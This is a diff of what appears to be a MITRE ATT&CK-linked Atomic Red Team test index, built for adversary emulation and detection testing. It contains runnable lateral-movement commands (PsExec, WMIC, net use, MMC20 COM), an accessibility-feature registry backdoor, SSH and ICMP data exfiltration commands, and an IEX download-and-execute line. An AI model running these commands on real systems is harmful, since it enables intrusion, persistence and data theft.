collected using tools such as Windows Event Forwarding. (Citation: Lateral + Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote + login events and associated SMB activity for file transfers and remote process + execution. Monitor the actions of remote users who connect to administrative + shares. Monitor for use of tools and commands to connect to remote shares, + such as [Net](https://attack.mitre.org/software/S0039), on the command-line + interface and Discovery techniques that could be used to find remotely accessible + systems.(Citation: Medium Detecting Lateral Movement)' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + created: '2017-05-31T21:31:00.200Z' kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688 - name: Screen Capture - created: '2017-05-31T21:31:25.060Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. - - ### Mac - - On OSX, the native command screencapture is used to capture screenshots. - - ### Linux - - On Linux, there is the native command xwd. (Citation: Antiquated Mac Malware) - identifier: T1113 + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1077 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1077 + - source_name: capec + external_id: CAPEC-561 + url: https://capec.mitre.org/data/definitions/561.html + - source_name: Wikipedia SMB + description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June + 12, 2016. + url: https://en.wikipedia.org/wiki/Server_Message_Block + - source_name: TechNet RPC + description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, + 2016. + url: https://technet.microsoft.com/en-us/library/cc787851.aspx + - source_name: Microsoft Admin Shares + description: Microsoft. (n.d.). How to create and delete hidden or administrative + shares on client computers. Retrieved November 20, 2014. + url: http://support.microsoft.com/kb/314984 + - source_name: Technet Net Use + description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. + url: https://technet.microsoft.com/bb490717.aspx + - description: Payne, J. (2015, November 26). Tracking Lateral Movement Part + One - Special Groups and Specific Service Accounts. Retrieved February 1, + 2016. + source_name: Lateral Movement Payne + url: http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx + - source_name: Windows Event Forwarding Payne + description: Payne, J. (2015, November 23). Monitoring what matters - Windows + Event Forwarding for everyone (even if you already have a SIEM.). Retrieved + February 1, 2016. + url: http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx + - description: French, D. (2018, September 30). Detecting Lateral Movement Using + Sysmon and Splunk. Retrieved October 11, 2019. + source_name: Medium Detecting Lateral Movement + url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc + modified: '2019-10-15T18:45:27.715Z' + identifier: T1077 atomic_tests: - - name: Screencapture - description: 'Use screencapture command to collect a full desktop screenshot + - name: Map admin share + description: 'Connecting To Remote Shares ' supported_platforms: - - macos + - windows input_arguments: - output_file: - description: Output file path - type: Path - default: desktop.png + share_name: + description: Examples C$, IPC$, Admin$ + type: String + default: C$ + user_name: + description: Username + type: String + default: DOMAIN\Administrator + password: + description: Password + type: String + default: P@ssw0rd1 + computer_name: + description: Target Computer Name + type: String + default: Target executor: - name: bash + name: command_prompt elevation_required: false - command: screencapture - - name: Screencapture (silent) - description: 'Use screencapture command to collect a full desktop screenshot + command: 'cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} + /u:#{user_name}" ' - supported_platforms: - - macos - input_arguments: - output_file: - description: Output file path - type: Path - default: desktop.png - executor: - name: bash - elevation_required: false - command: screencapture -x - - name: X Windows Capture - description: 'Use xwd command to collect a full desktop screenshot and review - file with xwud + - name: Map Admin Share PowerShell + description: 'Map Admin share utilizing PowerShell ' supported_platforms: - - linux + - windows input_arguments: - output_file: - description: Output file path - type: Path - default: desktop.xwd + share_name: + description: Examples C$, IPC$, Admin$ + type: String + default: C$ + computer_name: + description: Target Computer Name + type: String + default: Target + map_name: + description: Mapped Drive Letter + type: String + default: g executor: - name: bash - command: | - xwd -root -out #{output_file} - xwud -in #{output_file} - - name: Import - description: 'Use import command to collect a full desktop screenshot + name: powershell + elevation_required: false + command: 'New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name} ' - supported_platforms: - - linux - input_arguments: - output_file: - description: Output file path - type: Path - default: desktop.png - executor: - name: bash - command: import -window root -exfiltration: - '': + T1028: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1029 - source_name: mitre-attack - external_id: T1029 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_detection: Monitor process file access patterns and network behavior. - Unrecognized processes or scripts that appear to be traversing file systems - and sending network traffic may be suspicious. Network connections to the - same destination that occur at the same time of day for multiple days are - suspicious. x_mitre_data_sources: + - File monitoring + - Authentication logs - Netflow/Enclave netflow - - Process use of network - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_network_requirements: true - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + name: Windows Remote Management + description: 'Windows Remote Management (WinRM) is the name of both a Windows + service and a protocol that allows a user to interact with a remote system + (e.g., run an executable, modify the Registry, modify services). (Citation: + Microsoft WinRM) It may be called with the winrm command or by + any number of programs such as PowerShell. (Citation: Jacobsen 2014)' + x_mitre_remote_support: true + id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39 x_mitre_platforms: - - Linux - - macOS - Windows - kill_chain_phases: - - phase_name: exfiltration - kill_chain_name: mitre-attack - id: attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466 - name: Scheduled Transfer - created: '2017-05-31T21:30:34.139Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. - - When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol. - atomic_tests: [] - T1002: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1002 - source_name: mitre-attack - external_id: T1002 - - url: https://en.wikipedia.org/wiki/List_of_file_signatures - source_name: Wikipedia File Header Signatures - description: Wikipedia. (2016, March 31). List of file signatures. Retrieved - April 22, 2016. object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_detection: |- - Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. - - If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures) - x_mitre_data_sources: - - Binary file metadata - - File monitoring - - Process command-line parameters - - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_network_requirements: false + x_mitre_version: '1.1' + x_mitre_system_requirements: + - WinRM listener turned on and configured on remote system + type: attack-pattern + x_mitre_detection: 'Monitor use of WinRM within an environment by tracking service + execution. If it is not normally used or is disabled, then this may be an + indicator of suspicious behavior. Monitor processes created and actions taken + by the WinRM process or a WinRM invoked script to correlate it with other + related events. (Citation: Medium Detecting Lateral Movement)' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + created: '2017-05-31T21:30:33.723Z' kill_chain_phases: - - phase_name: exfiltration - kill_chain_name: mitre-attack - id: attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4 - name: Data Compressed - created: '2017-05-31T21:30:19.338Z' - x_mitre_version: '1.0' - type: attack-pattern - description: An adversary may compress data (e.g., sensitive documents) that - is collected prior to exfiltration in order to make it portable and minimize - the amount of data sent over the network. The compression is done separately - from the exfiltration channel and is performed using a custom program or algorithm, - or a more common compression library or utility such as 7zip, RAR, ZIP, or - zlib. - identifier: T1002 - atomic_tests: - - name: Compress Data for Exfiltration With PowerShell - description: "An adversary may compress data (e.g., sensitive documents) that - is collected prior to exfiltration \n" - supported_platforms: - - windows - input_arguments: - input_file: - description: Path that should be compressed into our output file - type: Path - default: C:\* - output_file: - description: Path where resulting compressed data should be placed - type: Path - default: C:\test\Data.zip + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1028 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1028 + - source_name: capec + external_id: CAPEC-555 + url: https://capec.mitre.org/data/definitions/555.html + - source_name: Microsoft WinRM + description: Microsoft. (n.d.). Windows Remote Management. Retrieved November + 12, 2014. + url: http://msdn.microsoft.com/en-us/library/aa384426 + - description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. + Retrieved November 12, 2014. + source_name: Jacobsen 2014 + url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 + - description: French, D. (2018, September 30). Detecting Lateral Movement Using + Sysmon and Splunk. Retrieved October 11, 2019. + source_name: Medium Detecting Lateral Movement + url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc + modified: '2019-10-15T18:44:56.438Z' + identifier: T1028 + atomic_tests: + - name: Enable Windows Remote Management + description: 'Powershell Enable WinRM + +' + supported_platforms: + - windows executor: name: powershell - elevation_required: false - command: 'dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file} + elevation_required: true + command: 'Enable-PSRemoting -Force ' - - name: Compress Data for Exfiltration With Rar - description: "An adversary may compress data (e.g., sensitive documents) that - is collected prior to exfiltration \n" + - name: PowerShell Lateral Movement + description: | + Powershell lateral movement using the mmc20 application com object + + Reference: + + https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/ supported_platforms: - windows input_arguments: - input_file: - description: Path that should be compressed into our output file - type: Path - default: "*.docx" - output_file: - description: Path where resulting compressed data should be placed - type: Path - default: exfilthis.rar + computer_name: + description: Name of Computer + type: string + default: computer1 executor: name: command_prompt - elevation_required: false - command: 'rar a -r #{output_file} #{input_file} + command: 'powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", + $null, $null, "7") ' - - name: Data Compressed - nix - zip - description: 'An adversary may compress data (e.g., sensitive documents) that - is collected prior to exfiltration. This test uses standard zip compression. + - name: WMIC Process Call Create + description: 'Utilize WMIC to start remote process ' supported_platforms: - - linux - - macos + - windows input_arguments: - input_files: - description: Path that should be compressed into our output file, may include - wildcards - type: Path - default: "/tmp/victim-files/*" - output_file: - description: Path that should be output as a zip archive - type: Path - default: "/tmp/victim-files.zip" + user_name: + description: Username + type: String + default: DOMAIN\Administrator + password: + description: Password + type: String + default: P@ssw0rd1 + computer_name: + description: Target Computer Name + type: String + default: Target executor: - name: sh - elevation_required: false - command: 'zip #{output_file} #{input_files} + name: command_prompt + command: 'wmic /user:#{user_name} /password:#{password} /node:#{computer_name} + process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows + NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" + /t REG_SZ /d \"cmd.exe\" /f" ' - - name: Data Compressed - nix - gzip Single File - description: 'An adversary may compress data (e.g., sensitive documents) that - is collected prior to exfiltration. This test uses standard gzip compression. + - name: Psexec + description: 'Utilize psexec to start remote process ' supported_platforms: - - linux - - macos + - windows input_arguments: - input_file: - description: Path that should be compressed - type: Path - default: "/tmp/victim-gzip.txt" + user_name: + description: Username + type: String + default: DOMAIN\Administrator + password: + description: Password + type: String + default: P@ssw0rd1 + computer_name: + description: Target Computer Name + type: String + default: Target executor: - name: sh - elevation_required: false - command: 'gzip -f #{input_file} + name: command_prompt + command: 'psexec \\host -u domain\user -p password -s cmd.exe ' - - name: Data Compressed - nix - tar Folder or File - description: 'An adversary may compress data (e.g., sensitive documents) that - is collected prior to exfiltration. This test uses standard gzip compression. + - name: Invoke-Command + description: 'Execute Invoke-command on remote host ' supported_platforms: - - linux - - macos + - windows input_arguments: - input_file_folder: - description: Path that should be compressed - type: Path - default: "/tmp/victim-files/" - output_file: - description: File that should be output - type: Path - default: "/tmp/victim-files.tar.gz" + host_name: + description: Remote Windows Host Name + type: String + default: Test + remote_command: + description: Command to execute on remote Host + type: String + default: ipconfig executor: - name: sh - elevation_required: false - command: 'tar -cvzf #{output_file} #{input_file_folder}' - T1022: + name: powershell + command: 'invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}} + +' +collection: + T1123: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1022 - source_name: mitre-attack - external_id: T1022 - - url: http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf - source_name: Zhang 2013 - description: Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting - encrypted botnet traffic. Retrieved August 19, 2015. - - url: https://en.wikipedia.org/wiki/List_of_file_signatures - source_name: Wikipedia File Header Signatures - description: Wikipedia. (2016, March 31). List of file signatures. Retrieved - April 22, 2016. x_mitre_data_sources: - - File monitoring + - API monitoring - Process monitoring - - Process command-line parameters - - Binary file metadata - x_mitre_network_requirements: false - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: "Encryption software and encrypted files can be detected - in many ways. Common utilities that may be present on the system or brought - in by an adversary may be detectable through process monitoring and monitoring - for command-line arguments for known encryption utilities. This may yield - a significant amount of benign events, depending on how systems in the environment - are typically used. Often the encryption key is stated within command-line - invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll - may be used to perform encryption, decryption, or verification of file signatures. - \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted - data is being transmitted. (Citation: Zhang 2013) If the communications channel - is unencrypted, encrypted files of known file types can be detected in transit - during exfiltration with a network intrusion detection or data loss prevention - system analyzing file headers. (Citation: Wikipedia File Header Signatures)" - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - File monitoring + x_mitre_permissions_required: + - User + name: Audio Capture + description: |- + An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. + + Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later. + id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967 x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: exfiltration - kill_chain_name: mitre-attack - id: attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638 - name: Data Encrypted - created: '2017-05-31T21:30:30.260Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip. + x_mitre_detection: |- + Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. - Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) - identifier: T1022 + Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:34.528Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: collection + external_references: + - external_id: T1123 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1123 + - source_name: capec + external_id: CAPEC-634 + url: https://capec.mitre.org/data/definitions/634.html + modified: '2019-06-18T13:16:53.385Z' + identifier: T1123 atomic_tests: - - name: Data Encrypted with zip and gpg - description: 'Encrypt data for exiltration + - name: SourceRecorder via Windows command prompt + description: 'Create a file called test.wma, with the duration of 30 seconds ' supported_platforms: - - macos - - centos - - ubuntu - - linux - executor: - name: sh - elevation_required: false - command: | - echo "This file will be encrypted" > /tmp/victim-gpg.txt - mkdir /tmp/victim-files - cd /tmp/victim-files - touch a b c d e f g - zip --password "insert password here" /tmp/victim-files.zip /tmp/victim-files/* - gpg -c /tmp/victim-gpg.txt - - ls -l - - name: Compress Data and lock with password for Exfiltration with winrar - description: | - Note: Requires winrar installation - rar a -p"blue" hello.rar (VARIANT) - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: false - command: | - mkdir ./tmp/victim-files - cd ./tmp/victim-files - echo "This file will be encrypted" > ./encrypted_file.txt - rar a -hp"blue" hello.rar - dir - - name: Compress Data and lock with password for Exfiltration with winzip - description: | - Note: Requires winzip installation - wzzip sample.zip -s"blueblue" *.txt (VARIANT) - supported_platforms: - windows + input_arguments: + output_file: + description: Path to the recording file being captured + type: Path + default: test.wma + duration_hms: + description: Duration of audio to be recorded (in h:m:s format) + type: Path + default: 30 executor: name: command_prompt elevation_required: false - command: | - path=%path%;"C:\Program Files (x86)\winzip" - mkdir ./tmp/victim-files - cd ./tmp/victim-files - echo "This file will be encrypted" > ./encrypted_file.txt - winzip32 -min -a -s"hello" archive.zip * - dir - - name: Compress Data and lock with password for Exfiltration with 7zip - description: 'Note: Requires 7zip installation + command: 'SoundRecorder /FILE #{output_file} /DURATION #{duration_hms} ' + - name: PowerShell Cmdlet via Windows command prompt + description: "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n" supported_platforms: - windows executor: name: command_prompt elevation_required: false - command: | - mkdir ./tmp/victim-files - cd ./tmp/victim-files - echo "This file will be encrypted" > ./encrypted_file.txt - 7z a archive.7z -pblue - dir - T1030: + command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet + +' + T1119: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1030 - source_name: mitre-attack - external_id: T1030 - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client - sending significantly more data than it receives from a server). If a process - maintains a long connection during which it consistently sends fixed size - data packets or a process opens connections and sends fixed sized data packets - at regular intervals, it may be performing an aggregate data transfer. Processes - utilizing the network that do not normally have network communication or have - never been seen before are suspicious. Analyze packet contents to detect communications - that do not follow the expected protocol behavior for the port that is being - used. (Citation: University of Birmingham C2)' + x_mitre_permissions_required: + - User x_mitre_data_sources: - - Packet capture - - Netflow/Enclave netflow - - Process use of network - - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_network_requirements: true - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - File monitoring + - Data loss prevention + - Process command-line parameters + name: Automated Collection + description: "Once established within a system or network, an adversary may + use automated techniques for collecting internal data. Methods for performing + this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) + to search for and copy information fitting set criteria such as file type, + location, or name at specific time intervals. This functionality could also + be built into remote access tools. \n\nThis technique may incorporate use + of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) + and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify + and move files." + id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619 x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: exfiltration - kill_chain_name: mitre-attack - id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd - name: Data Transfer Size Limits - created: '2017-05-31T21:30:34.523Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' + x_mitre_system_requirements: + - Permissions to access directories and files that store information of interest. type: attack-pattern - description: An adversary may exfiltrate data in fixed size chunks instead of - whole files or limit packet sizes below certain thresholds. This approach - may be used to avoid triggering network data transfer threshold alerts. - identifier: T1030 + x_mitre_detection: Depending on the method used, actions could include common + file system commands and parameters on the command-line interface within batch + files or scripts. A sequence of actions like this may be unusual, depending + on the system and network environment. Automated collection may occur along + with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). + As such, file access monitoring that shows an unusual process performing sequential + file opens and potentially copy actions to another location on the file system + for many files at once may indicate automated collection behavior. Remote + access tools with built-in features may interact directly with the Windows + API to gather data. Data may also be acquired through Windows system management + tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) + and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:27.985Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: collection + external_references: + - external_id: T1119 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1119 + modified: '2019-07-16T19:44:07.942Z' + identifier: T1119 atomic_tests: - - name: Data Transfer Size Limits - description: 'Take a file/directory, split it into 5Mb chunks + - name: Automated Collection Command Prompt + description: 'Automated Collection ' supported_platforms: - - macos - - centos - - ubuntu - - linux + - windows executor: - name: sh - elevation_required: false + name: command_prompt command: | - cd /tmp/ - dd if=/dev/urandom of=/tmp/victim-whole-file bs=25M count=1 - split -b 5000000 /tmp/victim-whole-file - ls -l - T1048: + dir c: /b /s .docx | findstr /e .docx + for /R c: %f in (*.docx) do copy %f c:\temp\ + - name: Automated Collection PowerShell + description: 'Automated Collection + +' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: 'Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName + -destination c:\temp} + +' + T1115: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1048 - source_name: mitre-attack - external_id: T1048 - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client - sending significantly more data than it receives from a server). Processes - utilizing the network that do not normally have network communication or have - never been seen before are suspicious. Analyze packet contents to detect communications - that do not follow the expected protocol behavior for the port that is being - used. (Citation: University of Birmingham C2)' x_mitre_data_sources: - - User interface - - Process monitoring - - Process use of network - - Packet capture - - Netflow/Enclave netflow - - Network protocol analysis - modified: '2018-10-17T00:14:20.652Z' - x_mitre_network_requirements: true - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - API monitoring + name: Clipboard Data + description: "Adversaries may collect data stored in the Windows clipboard from + users copying information within or between applications. \n\n### Windows\n\nApplications + can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) + \n\n### Mac\n\nOSX provides a native command, pbpaste, to grab + clipboard contents (Citation: Operating with EmPyre)." + id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f x_mitre_platforms: - Linux - - macOS - Windows - kill_chain_phases: - - phase_name: exfiltration - kill_chain_name: mitre-attack - id: attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776 - name: Exfiltration Over Alternative Protocol - created: '2017-05-31T21:30:44.720Z' + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: Data exfiltration is performed with a different protocol from the - main command and control protocol or channel. The data is likely to be sent - to an alternate network location from the main command and control server. - Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network - protocol. Different channels could include Internet Web services such as cloud - storage. - identifier: T1048 + x_mitre_detection: Access to the clipboard is a legitimate function of many + applications on a Windows system. If an organization chooses to monitor for + this behavior, then the data will likely need to be correlated against other + suspicious or non-user-driven activity. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:25.967Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: collection + external_references: + - external_id: T1115 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1115 + - source_name: capec + external_id: CAPEC-637 + url: https://capec.mitre.org/data/definitions/637.html + - source_name: MSDN Clipboard + description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016. + url: https://msdn.microsoft.com/en-us/library/ms649012 + - source_name: Operating with EmPyre + description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July + 12, 2017. + url: http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/ + modified: '2019-06-18T13:18:33.324Z' + identifier: T1115 atomic_tests: - - name: Exfiltration Over Alternative Protocol - SSH - description: | - Input a domain and test Exfiltration over SSH - - Remote to Local - supported_platforms: - - macos - - centos - - ubuntu - - linux - input_arguments: - domain: - description: target SSH domain - type: url - default: target.example.com - user_name: - description: username for domain - type: string - default: atomic - password: - description: password for user - type: string - default: atomic - executor: - name: sh - elevation_required: false - command: 'ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz + - name: Utilize Clipboard to store or execute commands from + description: 'Add data to clipboard to copy off or execute commands from. ' - - name: Exfiltration Over Alternative Protocol - SSH - description: | - Input a domain and test Exfiltration over SSH - - Local to Remote supported_platforms: - - macos - - centos - - ubuntu - - linux - input_arguments: - domain: - description: target SSH domain - type: url - default: target.example.com - user_name: - description: username for domain - type: string - default: atomic - password: - description: password for user - type: string - default: atomic + - windows executor: - name: sh + name: command_prompt elevation_required: false - command: 'tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh - #{user_name}@#{domain} ''cat > /Users.tar.gz.enc'' - -' - - name: Exfiltration Over Alternative Protocol - HTTP - description: 'A firewall rule (iptables or firewalld) will be needed to allow - exfiltration on port 1337. + command: | + dir | clip + clip < readme.txt + - name: PowerShell + description: 'Utilize PowerShell to echo a command to clipboard and execute + it ' supported_platforms: - - macos - - centos - - ubuntu - - linux + - windows executor: - name: manual - steps: | - 1. Victim System Configuration: - - mkdir /tmp/victim-staging-area - echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt - - 2. Using Python to establish a one-line HTTP server on victim system: - - cd /tmp/victim-staging-area - python -m SimpleHTTPServer 1337 + name: powershell + elevation_required: false + command: | + echo Get-Process | clip + Get-Clipboard | iex + T1074: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + name: Data Staged + description: |- + Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022). - 3. To retrieve the data from an adversary system: + Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. + id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e + x_mitre_platforms: + - Linux + - macOS + - Windows + - AWS + - GCP + - Azure + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: |- + Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. - wget http://VICTIM_IP:1337/victim-file.txt - - name: Exfiltration Over Alternative Protocol - ICMP - description: 'Exfiltration of specified file over ICMP protocol. + Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + - Shane Tully, @securitygypsy + created: '2017-05-31T21:30:58.938Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: collection + external_references: + - external_id: T1074 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1074 + modified: '2019-10-09T21:09:00.992Z' + identifier: T1074 + atomic_tests: + - name: Stage data from Discovery.bat + description: 'Utilize powershell to download discovery.bat and save to a local + file ' supported_platforms: - windows - input_arguments: - input_file: - description: Path to file to be exfiltrated. - type: Path - default: C:\Windows\System32\notepad.exe - ip_address: - description: Destination IP address where the data should be sent. - type: String - default: 1.1.1.1 executor: name: powershell elevation_required: false - command: '$ping = New-Object System.Net.Networkinformation.ping; foreach($Data - in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", - 1500, $Data) } + command: 'IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat'') + > pi.log ' -command-and-control: + - name: Stage data from Discovery.sh + description: 'Utilize curl to download discovery.sh and execute a basic information + gathering shell script + +' + supported_platforms: + - linux + - macos + executor: + name: bash + command: curl -s 